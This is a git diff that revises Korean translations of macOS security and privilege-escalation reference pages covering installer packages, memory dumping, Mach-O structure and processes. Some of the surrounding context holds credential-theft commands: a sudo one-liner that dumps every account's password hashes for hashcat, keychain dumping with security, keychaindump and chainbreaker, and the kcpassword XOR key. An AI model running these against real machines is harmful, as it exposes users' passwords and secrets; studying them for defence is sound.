-- **배포(xml)**: 사용자 정의(제목, 환영 텍스트…) 및 스크립트/설치 확인 -- **PackageInfo(xml)**: 정보, 설치 요구 사항, 설치 위치, 실행할 스크립트 경로 -- **자재 명세서(bom)**: 설치, 업데이트 또는 제거할 파일 목록과 파일 권한 -- **페이로드(CPIO 아카이브 gzip 압축)**: PackageInfo에서 `install-location`에 설치할 파일 -- **스크립트(CPIO 아카이브 gzip 압축)**: 설치 전후 스크립트 및 실행을 위해 임시 디렉토리에 추출된 추가 리소스. +- **배포 (xml)**: 사용자 정의(제목, 환영 텍스트…) 및 스크립트/설치 확인 +- **PackageInfo (xml)**: 정보, 설치 요구 사항, 설치 위치, 실행할 스크립트 경로 +- **자재 명세서 (bom)**: 설치, 업데이트 또는 제거할 파일 목록과 파일 권한 +- **페이로드 (CPIO 아카이브 gzip 압축)**: PackageInfo에서 `install-location`에 설치할 파일 +- **스크립트 (CPIO 아카이브 gzip 압축)**: 설치 전후 스크립트 및 실행을 위해 임시 디렉토리에 추출된 추가 리소스. ### 압축 해제 ```bash @@ -61,7 +61,7 @@ DMG 파일의 계층 구조는 내용에 따라 다를 수 있습니다. 그러 ### AuthorizationExecuteWithPrivileges -이것은 여러 설치 프로그램과 업데이트 프로그램이 **루트로 무언가를 실행하기 위해 호출하는 [공개 함수](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg)**입니다. 이 함수는 **실행할 파일의 경로**를 매개변수로 받아들이지만, 공격자가 이 파일을 **수정**할 수 있다면, 루트로 실행을 **악용**하여 **권한을 상승**시킬 수 있습니다. +이는 여러 설치 프로그램과 업데이트 프로그램이 **루트로 무언가를 실행하기 위해 호출하는 [공개 함수](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg)**입니다. 이 함수는 **실행할 파일의 경로**를 매개변수로 받아들이지만, 공격자가 이 파일을 **수정**할 수 있다면, 루트로 실행을 **악용**하여 **권한을 상승**시킬 수 있습니다. ```bash # Breakpoint in the function to check wich file is loaded (lldb) b AuthorizationExecuteWithPrivileges diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index 0bd6ecf6a..bce2ccb29 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -6,7 +6,7 @@ ### 스왑 파일 -스왑 파일은 `/private/var/vm/swapfile0`와 같이 **물리적 메모리가 가득 찼을 때 캐시 역할**을 합니다. 물리적 메모리에 더 이상 공간이 없을 때, 그 데이터는 스왑 파일로 전송되고 필요에 따라 다시 물리적 메모리로 가져옵니다. 여러 개의 스왑 파일이 존재할 수 있으며, 이름은 swapfile0, swapfile1 등과 같습니다. +스왑 파일은 `/private/var/vm/swapfile0`와 같이 **물리적 메모리가 가득 찼을 때 캐시 역할을 합니다**. 물리적 메모리에 더 이상 공간이 없을 때, 그 데이터는 스왑 파일로 전송되고 필요에 따라 다시 물리적 메모리로 가져옵니다. 여러 개의 스왑 파일이 존재할 수 있으며, 이름은 swapfile0, swapfile1 등과 같습니다. ### 하이버네이트 이미지 @@ -14,7 +14,7 @@ 현대 MacOS 시스템에서는 이 파일이 보안상의 이유로 일반적으로 암호화되어 있어 복구가 어려운 점도 주목할 만합니다. -- sleepimage의 암호화가 활성화되어 있는지 확인하려면 `sysctl vm.swapusage` 명령을 실행할 수 있습니다. 이 명령은 파일이 암호화되어 있는지 여부를 보여줍니다. +- sleepimage의 암호화가 활성화되어 있는지 확인하려면 `sysctl vm.swapusage` 명령을 실행할 수 있습니다. 이 명령은 파일이 암호화되어 있는지 보여줍니다. ### 메모리 압력 로그 @@ -24,7 +24,7 @@ MacOS 시스템에서 또 다른 중요한 메모리 관련 파일은 **메모 MacOS 기기에서 메모리를 덤프하려면 [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)을 사용할 수 있습니다. -**참고**: 다음 지침은 Intel 아키텍처를 가진 Mac에서만 작동합니다. 이 도구는 현재 아카이브되었으며 마지막 릴리스는 2017년에 이루어졌습니다. 아래 지침을 사용하여 다운로드한 바이너리는 2017년에 Apple Silicon이 없었기 때문에 Intel 칩을 대상으로 합니다. arm64 아키텍처용으로 바이너리를 컴파일할 수 있을지도 모르지만, 직접 시도해 보아야 합니다. +**참고**: 다음 지침은 Intel 아키텍처를 가진 Mac에서만 작동합니다. 이 도구는 현재 아카이브되었으며 마지막 릴리스는 2017년에 이루어졌습니다. 아래 지침을 사용하여 다운로드한 바이너리는 2017년에 Apple Silicon이 없었기 때문에 Intel 칩을 대상으로 합니다. arm64 아키텍처용으로 바이너리를 컴파일할 수 있을 수도 있지만, 직접 시도해 보아야 합니다. ```bash #Dump raw format sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index 9c8eee9bb..875dc0880 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -13,7 +13,7 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l" ``` [**이 스크립트들**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) 또는 [**이 스크립트**](https://github.com/octomagon/davegrohl.git)는 해시를 **hashcat** **형식**으로 변환하는 데 사용할 수 있습니다. -모든 비서비스 계정의 자격 증명을 해시캣 형식 `-m 7100` (macOS PBKDF2-SHA512)으로 덤프하는 대체 원라이너: +모든 비서비스 계정의 자격 증명을 hashcat 형식 `-m 7100` (macOS PBKDF2-SHA512)으로 덤프하는 대체 원라이너: ```bash sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done' ``` @@ -25,7 +25,7 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex ### Keychain Dump -보안 바이너리를 사용하여 **복호화된 비밀번호를 덤프**할 때 여러 프롬프트가 사용자에게 이 작업을 허용하도록 요청할 것입니다. +보안 바이너리를 사용하여 **복호화된 비밀번호를 덤프**할 때 여러 프롬프트가 사용자에게 이 작업을 허용하도록 요청할 것임을 유의하십시오. ```bash #security security dump-trust-settings [-s] [-d] #List certificates @@ -41,13 +41,13 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be ### Keychaindump 개요 -**keychaindump**라는 도구는 macOS 키체인에서 비밀번호를 추출하기 위해 개발되었지만, Big Sur와 같은 최신 macOS 버전에서는 제한이 있습니다. **keychaindump**를 사용하려면 공격자가 접근 권한을 얻고 **root** 권한을 상승시켜야 합니다. 이 도구는 사용자 로그인 시 기본적으로 키체인이 잠금 해제된다는 사실을 이용하여, 애플리케이션이 사용자의 비밀번호를 반복적으로 요구하지 않고도 접근할 수 있도록 합니다. 그러나 사용자가 매번 사용 후 키체인을 잠그기로 선택하면 **keychaindump**는 효과가 없습니다. +**keychaindump**라는 도구는 macOS 키체인에서 비밀번호를 추출하기 위해 개발되었지만, Big Sur와 같은 최신 macOS 버전에서는 제한이 있습니다. **keychaindump**를 사용하려면 공격자가 **root** 권한을 얻고 권한을 상승시켜야 합니다. 이 도구는 사용자 로그인 시 기본적으로 키체인이 잠금 해제된다는 사실을 이용하여, 애플리케이션이 사용자의 비밀번호를 반복적으로 요구하지 않고도 접근할 수 있도록 합니다. 그러나 사용자가 매번 사용 후 키체인을 잠그기로 선택하면 **keychaindump**는 효과가 없습니다. **Keychaindump**는 Apple이 권한 부여 및 암호화 작업을 위한 데몬으로 설명하는 특정 프로세스인 **securityd**를 타겟으로 작동합니다. 추출 과정은 사용자의 로그인 비밀번호에서 파생된 **Master Key**를 식별하는 것을 포함합니다. 이 키는 키체인 파일을 읽는 데 필수적입니다. **Master Key**를 찾기 위해 **keychaindump**는 `vmmap` 명령을 사용하여 **securityd**의 메모리 힙을 스캔하며, `MALLOC_TINY`로 플래그가 지정된 영역 내에서 잠재적인 키를 찾습니다. 다음 명령은 이러한 메모리 위치를 검사하는 데 사용됩니다: ```bash sudo vmmap | grep MALLOC_TINY ``` -잠재적인 마스터 키를 식별한 후, **keychaindump**는 특정 패턴(`0x0000000000000018`)을 나타내는 후보 마스터 키를 찾기 위해 힙을 검색합니다. 이 키를 활용하기 위해서는 **keychaindump**의 소스 코드에 설명된 대로 추가적인 단계인 디오브퓨스케이션이 필요합니다. 이 분야에 집중하는 분석가는 키체인을 복호화하는 데 필요한 중요한 데이터가 **securityd** 프로세스의 메모리에 저장되어 있다는 점에 유의해야 합니다. **keychaindump**를 실행하는 예제 명령은: +잠재적인 마스터 키를 식별한 후, **keychaindump**는 특정 패턴(`0x0000000000000018`)을 나타내는 후보 마스터 키를 찾기 위해 힙을 검색합니다. 이 키를 활용하기 위해서는 **keychaindump**의 소스 코드에 설명된 대로 추가적인 단계, 즉 난독화 해제가 필요합니다. 이 분야에 집중하는 분석가는 키체인을 복호화하는 데 필요한 중요한 데이터가 **securityd** 프로세스의 메모리에 저장되어 있다는 점에 유의해야 합니다. **keychaindump**를 실행하는 예제 명령은: ```bash sudo ./keychaindump ``` @@ -103,7 +103,7 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1 ``` #### **사용자의 비밀번호를 사용하여 키체인 키 덤프하기 (비밀번호 포함)** -사용자의 비밀번호를 알고 있다면 이를 사용하여 **사용자에게 속한 키체인을 덤프하고 복호화할 수 있습니다**. +사용자의 비밀번호를 알고 있다면, 이를 사용하여 **사용자에게 속한 키체인을 덤프하고 복호화할 수 있습니다**. ```bash #Prompt to ask for the password python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library/Keychains/login.keychain-db @@ -113,7 +113,7 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library **kcpassword** 파일은 **사용자의 로그인 비밀번호**를 저장하는 파일이지만, 시스템 소유자가 **자동 로그인을 활성화**한 경우에만 해당됩니다. 따라서 사용자는 비밀번호를 입력하라는 요청 없이 자동으로 로그인됩니다(이는 그리 안전하지 않습니다). 비밀번호는 **`/etc/kcpassword`** 파일에 **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** 키와 XOR되어 저장됩니다. 사용자의 비밀번호가 키보다 길 경우, 키는 재사용됩니다.\ -이로 인해 비밀번호를 복구하는 것이 꽤 쉬워지며, 예를 들어 [**이 스크립트**](https://gist.github.com/opshope/32f65875d45215c3677d)를 사용할 수 있습니다. +이로 인해 비밀번호를 복구하는 것이 꽤 쉬워지며, 예를 들어 [**이 스크립트**](https://gist.github.com/opshope/32f65875d45215c3677d)와 같은 스크립트를 사용할 수 있습니다. ## Interesting Information in Databases @@ -191,11 +191,11 @@ macOS에서는 CLI 도구 **`defaults`**를 사용하여 **Preferences 파일을 ### 다윈 알림 -알림을 위한 주요 데몬은 **`/usr/sbin/notifyd`**입니다. 알림을 받기 위해 클라이언트는 `com.apple.system.notification_center` Mach 포트를 통해 등록해야 합니다(이를 확인하려면 `sudo lsmp -p `를 사용하세요). 데몬은 `/etc/notify.conf` 파일로 구성할 수 있습니다. +알림을 위한 주요 데몬은 **`/usr/sbin/notifyd`**입니다. 알림을 받기 위해서는 클라이언트가 `com.apple.system.notification_center` Mach 포트를 통해 등록해야 합니다(이를 확인하려면 `sudo lsmp -p `를 사용하세요). 데몬은 `/etc/notify.conf` 파일로 구성할 수 있습니다. 알림에 사용되는 이름은 고유한 역 DNS 표기법이며, 알림이 그 중 하나로 전송되면 이를 처리할 수 있다고 표시한 클라이언트가 수신하게 됩니다. -현재 상태를 덤프하고(모든 이름을 확인하려면) notifyd 프로세스에 SIGUSR2 신호를 보내고 생성된 파일을 읽으면 됩니다: `/var/run/notifyd_.status`: +현재 상태를 덤프하고(모든 이름을 확인) notifyd 프로세스에 SIGUSR2 신호를 보내고 생성된 파일을 읽으면 가능합니다: `/var/run/notifyd_.status`: ```bash ps -ef | grep -i notifyd 0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd @@ -213,7 +213,7 @@ common: com.apple.security.octagon.joined-with-bottle ``` ### 분산 알림 센터 -**분산 알림 센터**의 주요 바이너리는 **`/usr/sbin/distnoted`**로, 알림을 전송하는 또 다른 방법입니다. 이 센터는 일부 XPC 서비스를 노출하며 클라이언트를 확인하기 위한 몇 가지 검사를 수행합니다. +**분산 알림 센터**의 주요 바이너리는 **`/usr/sbin/distnoted`**로, 알림을 보내는 또 다른 방법입니다. 일부 XPC 서비스를 노출하며 클라이언트를 확인하기 위한 몇 가지 검사를 수행합니다. ### Apple 푸시 알림 (APN) @@ -222,11 +222,11 @@ common: com.apple.security.octagon.joined-with-bottle 환경 설정은 `/Library/Preferences/com.apple.apsd.plist`에 위치해 있습니다. -macOS에는 `/Library/Application\ Support/ApplePushService/aps.db`에, iOS에는 `/var/mobile/Library/ApplePushService`에 메시지의 로컬 데이터베이스가 있습니다. 이 데이터베이스에는 `incoming_messages`, `outgoing_messages` 및 `channel`의 3개 테이블이 있습니다. +macOS의 메시지 로컬 데이터베이스는 `/Library/Application\ Support/ApplePushService/aps.db`에 있으며, iOS에서는 `/var/mobile/Library/ApplePushService`에 있습니다. 이 데이터베이스에는 `incoming_messages`, `outgoing_messages` 및 `channel`의 3개 테이블이 있습니다. ```bash sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db ``` -다음과 같은 방법으로 데몬 및 연결에 대한 정보를 얻는 것도 가능합니다: +다음과 같은 방법으로 데몬 및 연결에 대한 정보를 얻을 수 있습니다: ```bash /System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md index 8aa31c037..0ec1657ae 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md @@ -6,7 +6,7 @@ Mac OS 바이너리는 일반적으로 **유니버설 바이너리**로 컴파일됩니다. **유니버설 바이너리**는 **같은 파일에서 여러 아키텍처를 지원할 수 있습니다**. -이 바이너리는 기본적으로 **Mach-O 구조**를 따릅니다: +이 바이너리는 기본적으로 **Mach-O 구조**를 따르며, 이는 다음으로 구성됩니다: - 헤더 - 로드 명령 @@ -72,7 +72,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0 ## **Mach-O Header** -헤더는 파일에 대한 기본 정보를 포함하고 있으며, Mach-O 파일로 식별하기 위한 매직 바이트와 대상 아키텍처에 대한 정보를 포함합니다. 다음 명령어로 찾을 수 있습니다: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` +헤더는 파일에 대한 기본 정보를 포함하며, Mach-O 파일로 식별하기 위한 매직 바이트와 대상 아키텍처에 대한 정보를 포함합니다. 다음 명령어로 찾을 수 있습니다: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` ```c #define MH_MAGIC 0xfeedface /* the mach magic number */ #define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ @@ -120,13 +120,13 @@ Mach header magic cputype cpusubtype caps filetype ncmds sizeofcmds flags MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE ``` -Or using [Mach-O View](https://sourceforge.net/projects/machoview/): +또는 [Mach-O View](https://sourceforge.net/projects/machoview/)를 사용하여:
## **Mach-O 플래그** -소스 코드는 라이브러리 로드에 유용한 여러 플래그를 정의합니다: +소스 코드는 라이브러리 로딩에 유용한 여러 플래그를 정의합니다: - `MH_NOUNDEFS`: 정의되지 않은 참조 없음 (완전히 링크됨) - `MH_DYLDLINK`: Dyld 링크 @@ -145,7 +145,7 @@ Or using [Mach-O View](https://sourceforge.net/projects/machoview/): ## **Mach-O 로드 명령** -**메모리에서의 파일 레이아웃**은 여기에서 지정되며, **기호 테이블의 위치**, 실행 시작 시 메인 스레드의 컨텍스트, 그리고 필요한 **공유 라이브러리**에 대한 세부 정보가 포함됩니다. 동적 로더 **(dyld)**에 바이너리의 메모리 로드 프로세스에 대한 지침이 제공됩니다. +**메모리에서의 파일 레이아웃**은 여기에서 지정되며, **기호 테이블의 위치**, 실행 시작 시 메인 스레드의 컨텍스트, 그리고 필요한 **공유 라이브러리**가 자세히 설명됩니다. 동적 로더 **(dyld)**에 바이너리의 메모리 로딩 프로세스에 대한 지침이 제공됩니다. **load_command** 구조체를 사용하며, 이는 언급된 **`loader.h`**에 정의되어 있습니다: ```objectivec @@ -154,7 +154,7 @@ uint32_t cmd; /* type of load command */ uint32_t cmdsize; /* total size of command in bytes */ }; ``` -약 **50가지의 다양한 유형의 로드 명령**이 있으며, 시스템은 이를 다르게 처리합니다. 가장 일반적인 것들은: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, 및 `LC_CODE_SIGNATURE`입니다. +약 **50가지의 다양한 유형의 로드 명령**이 시스템에 의해 다르게 처리됩니다. 가장 일반적인 것들은: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, 및 `LC_CODE_SIGNATURE`입니다. ### **LC_SEGMENT/LC_SEGMENT_64** @@ -188,7 +188,7 @@ int32_t initprot; /* initial VM protection */
-이 헤더는 **그 뒤에 나타나는 헤더의 섹션 수를 정의합니다**: +이 헤더는 **그 뒤에 나타나는 헤더의 섹션 수를 정의합니다:** ```c struct section_64 { /* for 64-bit architectures */ char sectname[16]; /* name of this section */ @@ -220,14 +220,14 @@ otool -lv /bin/ls Common segments loaded by this cmd: - **`__PAGEZERO`:** 커널에 **주소 0**을 **매핑**하라고 지시하여 **읽거나, 쓸 수 없고, 실행할 수 없도록** 합니다. 구조체의 maxprot 및 minprot 변수는 이 페이지에 **읽기-쓰기-실행 권한이 없음**을 나타내기 위해 0으로 설정됩니다. -- 이 할당은 **NULL 포인터 역참조 취약점**을 **완화**하는 데 중요합니다. 이는 XNU가 첫 번째 페이지(오직 첫 번째) 메모리가 접근할 수 없도록 보장하는 하드 페이지 제로를 시행하기 때문입니다(단, i386 제외). 이 요구 사항을 충족하기 위해 바이너리는 첫 4k를 커버하는 작은 \_\_PAGEZERO를 제작하고 나머지 32비트 메모리를 사용자 및 커널 모드에서 접근 가능하게 할 수 있습니다. +- 이 할당은 **NULL 포인터 역참조 취약점**을 완화하는 데 중요합니다. 이는 XNU가 첫 번째 페이지(오직 첫 번째) 메모리가 접근할 수 없도록 보장하는 하드 페이지 제로를 시행하기 때문입니다(단, i386 제외). 이 요구 사항을 충족하기 위해 바이너리는 첫 4k를 커버하는 작은 \_\_PAGEZERO를 제작하고 나머지 32비트 메모리를 사용자 및 커널 모드에서 접근 가능하게 할 수 있습니다. - **`__TEXT`**: **읽기** 및 **실행** 권한이 있는 **실행 가능한** **코드**를 포함합니다(쓰기 불가)**.** 이 세그먼트의 일반적인 섹션: - `__text`: 컴파일된 바이너리 코드 - `__const`: 상수 데이터(읽기 전용) - `__[c/u/os_log]string`: C, 유니코드 또는 os 로그 문자열 상수 - `__stubs` 및 `__stubs_helper`: 동적 라이브러리 로딩 과정에서 관련됨 - `__unwind_info`: 스택 언와인드 데이터. -- 이 모든 콘텐츠는 서명되지만 실행 가능으로 표시되어 있습니다(문자열 전용 섹션과 같이 이 권한이 반드시 필요하지 않은 섹션의 악용 가능성을 증가시킴). +- 이 모든 콘텐츠는 서명되지만 실행 가능하다고도 표시되어 있습니다(문자열 전용 섹션과 같이 이 권한이 반드시 필요하지 않은 섹션의 악용 가능성을 높임). - **`__DATA`**: **읽기 가능**하고 **쓰기 가능**한 데이터를 포함합니다(실행 불가)**.** - `__got:` 전역 오프셋 테이블 - `__nl_symbol_ptr`: 비게으른(로드 시 바인딩) 심볼 포인터 @@ -238,7 +238,7 @@ Common segments loaded by this cmd: - `__bss`: 초기화되지 않은 정적 변수 - `__objc_*` (\_\_objc_classlist, \_\_objc_protolist 등): Objective-C 런타임에서 사용되는 정보 - **`__DATA_CONST`**: \_\_DATA.\_\_const는 상수(쓰기 권한)가 보장되지 않으며, 다른 포인터와 GOT도 마찬가지입니다. 이 섹션은 `mprotect`를 사용하여 `__const`, 일부 초기화기 및 GOT 테이블(해결된 후)을 **읽기 전용**으로 만듭니다. -- **`__LINKEDIT`**: 심볼, 문자열 및 재배치 테이블 항목과 같은 링커(dyld)에 대한 정보를 포함합니다. `__TEXT` 또는 `__DATA`에 없는 콘텐츠를 위한 일반적인 컨테이너이며, 그 내용은 다른 로드 명령에서 설명됩니다. +- **`__LINKEDIT`**: 심볼, 문자열 및 재배치 테이블 항목과 같은 링커(dyld)에 대한 정보를 포함합니다. `__TEXT` 또는 `__DATA`에 없는 콘텐츠를 위한 일반 컨테이너이며, 그 내용은 다른 로드 명령에서 설명됩니다. - dyld 정보: 재배치, 비게으른/게으른/약한 바인딩 opcode 및 내보내기 정보 - 함수 시작: 함수의 시작 주소 테이블 - 코드 내 데이터: \_\_text의 데이터 섬 @@ -291,7 +291,7 @@ Mach-O 파일의 **코드 서명**에 대한 정보를 포함합니다. 이는 * ### **`LC_ENCRYPTION_INFO[_64]`** -바이너리 암호화에 대한 지원. 그러나 물론 공격자가 프로세스를 손상시키면 메모리를 암호화되지 않은 상태로 덤프할 수 있습니다. +바이너리 암호화에 대한 지원. 그러나 물론, 공격자가 프로세스를 손상시키면 메모리를 암호화되지 않은 상태로 덤프할 수 있습니다. ### **`LC_LOAD_DYLINKER`** @@ -345,12 +345,12 @@ otool -L /bin/ls - **CoreWLAN**: Wifi 스캔. > [!NOTE] -> Mach-O 바이너리는 **LC_MAIN**에 지정된 주소 **이전**에 **실행**될 **하나 이상의** **생성자**를 포함할 수 있습니다.\ +> Mach-O 바이너리는 **LC_MAIN**에 지정된 주소 **이전**에 **실행**될 **하나 또는 여러 개의** **생성자**를 포함할 수 있습니다.\ > 모든 생성자의 오프셋은 **\_\_DATA_CONST** 세그먼트의 **\_\_mod_init_func** 섹션에 저장됩니다. ## **Mach-O 데이터** -파일의 핵심은 데이터 영역으로, 로드 명령 영역에 정의된 여러 세그먼트로 구성됩니다. **각 세그먼트 내에는 다양한 데이터 섹션이 포함될 수 있으며**, 각 섹션은 **특정 유형에 대한 코드 또는 데이터**를 보유합니다. +파일의 핵심은 데이터 영역으로, 로드 명령 영역에 정의된 여러 세그먼트로 구성됩니다. **각 세그먼트 내에는 다양한 데이터 섹션이 포함될 수 있으며**, 각 섹션은 특정 유형에 대한 **코드 또는 데이터**를 보유합니다. > [!TIP] > 데이터는 기본적으로 로드 명령 **LC_SEGMENTS_64**에 의해 로드되는 모든 **정보**를 포함하는 부분입니다. @@ -371,7 +371,7 @@ otool -L /bin/ls ```bash size -m /bin/ls ``` -## Objetive-C 일반 섹션 +## Objetive-C 공통 섹션 In `__TEXT` segment (r-x): diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md index 1ef210f83..7cfde56de 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md @@ -6,10 +6,10 @@ 프로세스는 실행 중인 실행 파일의 인스턴스이지만, 프로세스는 코드를 실행하지 않고, 이는 스레드입니다. 따라서 **프로세스는 실행 중인 스레드를 위한 컨테이너일 뿐입니다** 메모리, 설명자, 포트, 권한 등을 제공합니다... -전통적으로, 프로세스는 **`fork`**를 호출하여 다른 프로세스 내에서 시작되었으며, 이는 현재 프로세스의 정확한 복사본을 생성하고, **자식 프로세스**는 일반적으로 **`execve`**를 호출하여 새로운 실행 파일을 로드하고 실행합니다. 그런 다음, **`vfork`**가 도입되어 메모리 복사 없이 이 프로세스를 더 빠르게 만들었습니다.\ +전통적으로, 프로세스는 **`fork`**를 호출하여 다른 프로세스 내에서 시작되었으며, 이는 현재 프로세스의 정확한 복사본을 생성하고, 그 후 **자식 프로세스**는 일반적으로 **`execve`**를 호출하여 새로운 실행 파일을 로드하고 실행합니다. 그런 다음, **`vfork`**가 도입되어 메모리 복사 없이 이 프로세스를 더 빠르게 만들었습니다.\ 그 후 **`posix_spawn`**이 도입되어 **`vfork`**와 **`execve`**를 하나의 호출로 결합하고 플래그를 수용했습니다: -- `POSIX_SPAWN_RESETIDS`: 유효 ID를 실제 ID로 재설정 +- `POSIX_SPAWN_RESETIDS`: 유효한 ID를 실제 ID로 재설정 - `POSIX_SPAWN_SETPGROUP`: 프로세스 그룹 소속 설정 - `POSUX_SPAWN_SETSIGDEF`: 신호 기본 동작 설정 - `POSIX_SPAWN_SETSIGMASK`: 신호 마스크 설정 @@ -23,26 +23,26 @@ 게다가, `posix_spawn`은 생성된 프로세스의 일부 측면을 제어하는 **`posix_spawnattr`** 배열을 지정할 수 있으며, 설명자의 상태를 수정하기 위해 **`posix_spawn_file_actions`**를 사용할 수 있습니다. -프로세스가 종료되면 **부모 프로세스에 반환 코드를 전송**합니다 (부모가 종료된 경우 새로운 부모는 PID 1) 신호 `SIGCHLD`와 함께. 부모는 `wait4()` 또는 `waitid()`를 호출하여 이 값을 가져와야 하며, 그때까지 자식은 좀비 상태에 머물며 여전히 나열되지만 자원을 소모하지 않습니다. +프로세스가 종료되면 **부모 프로세스**에 **반환 코드를 전송**합니다 (부모가 종료된 경우 새로운 부모는 PID 1) `SIGCHLD` 신호와 함께. 부모는 `wait4()` 또는 `waitid()`를 호출하여 이 값을 가져와야 하며, 그때까지 자식은 좀비 상태에 머물며 여전히 나열되지만 자원을 소모하지 않습니다. ### PIDs -PID, 프로세스 식별자는 고유한 프로세스를 식별합니다. XNU에서 **PIDs**는 **64비트**로 단조롭게 증가하며 **절대 랩핑되지 않습니다** (남용 방지를 위해). +PID는 프로세스 식별자로, 고유한 프로세스를 식별합니다. XNU에서 **PIDs**는 **64비트**로 단조롭게 증가하며 **절대 랩핑되지 않습니다** (남용 방지를 위해). ### 프로세스 그룹, 세션 및 연합 **프로세스**는 **그룹**에 삽입되어 처리하기 쉽게 만들 수 있습니다. 예를 들어, 셸 스크립트의 명령은 동일한 프로세스 그룹에 있으므로 kill을 사용하여 **함께 신호를 보낼 수 있습니다**.\ -또한 **세션에 프로세스를 그룹화**할 수 있습니다. 프로세스가 세션을 시작하면 (`setsid(2)`), 자식 프로세스는 자신의 세션을 시작하지 않는 한 세션 내에 설정됩니다. +또한 **세션에 프로세스를 그룹화**할 수 있습니다. 프로세스가 세션을 시작할 때 (`setsid(2)`), 자식 프로세스는 세션 내에 설정되며, 자신만의 세션을 시작하지 않는 한 그렇습니다. 연합은 Darwin에서 프로세스를 그룹화하는 또 다른 방법입니다. 연합에 가입한 프로세스는 풀 리소스에 접근할 수 있으며, 원장 공유 또는 Jetsam에 직면할 수 있습니다. 연합은 다양한 역할을 가집니다: 리더, XPC 서비스, 확장. ### 자격 증명 및 페르소나 각 프로세스는 시스템에서 **권한을 식별하는 자격 증명**을 보유합니다. 각 프로세스는 하나의 기본 `uid`와 하나의 기본 `gid`를 가지며 (여러 그룹에 속할 수 있음).\ -이진 파일이 `setuid/setgid` 비트를 가지고 있다면 사용자 및 그룹 ID를 변경할 수도 있습니다.\ +이진 파일에 `setuid/setgid` 비트가 있는 경우 사용자 및 그룹 ID를 변경할 수도 있습니다.\ 새로운 uids/gids를 **설정하는 여러 함수**가 있습니다. -시스템 호출 **`persona`**는 **대체** 자격 증명 세트를 제공합니다. 페르소나를 채택하면 해당 uid, gid 및 그룹 멤버십을 **한 번에** 가정합니다. [**소스 코드**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h)에서 구조체를 찾을 수 있습니다: +시스템 호출 **`persona`**는 **대체** 자격 증명 세트를 제공합니다. 페르소나를 채택하면 uid, gid 및 그룹 멤버십을 **한 번에** 가정합니다. [**소스 코드**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h)에서 구조체를 찾을 수 있습니다: ```c struct kpersona_info { uint32_t persona_info_version; uid_t persona_id; /* overlaps with UID */ @@ -70,11 +70,11 @@ char persona_name[MAXLOGNAME + 1]; #### 동기화 메커니즘 -공유 리소스에 대한 접근을 관리하고 경쟁 조건을 피하기 위해 macOS는 여러 동기화 원시를 제공합니다. 이는 데이터 무결성과 시스템 안정성을 보장하기 위해 다중 스레딩 환경에서 중요합니다: +공유 자원에 대한 접근을 관리하고 경쟁 조건을 피하기 위해 macOS는 여러 동기화 원시를 제공합니다. 이는 데이터 무결성과 시스템 안정성을 보장하기 위해 멀티 스레딩 환경에서 중요합니다: 1. **뮤텍스:** -- **정상 뮤텍스 (서명: 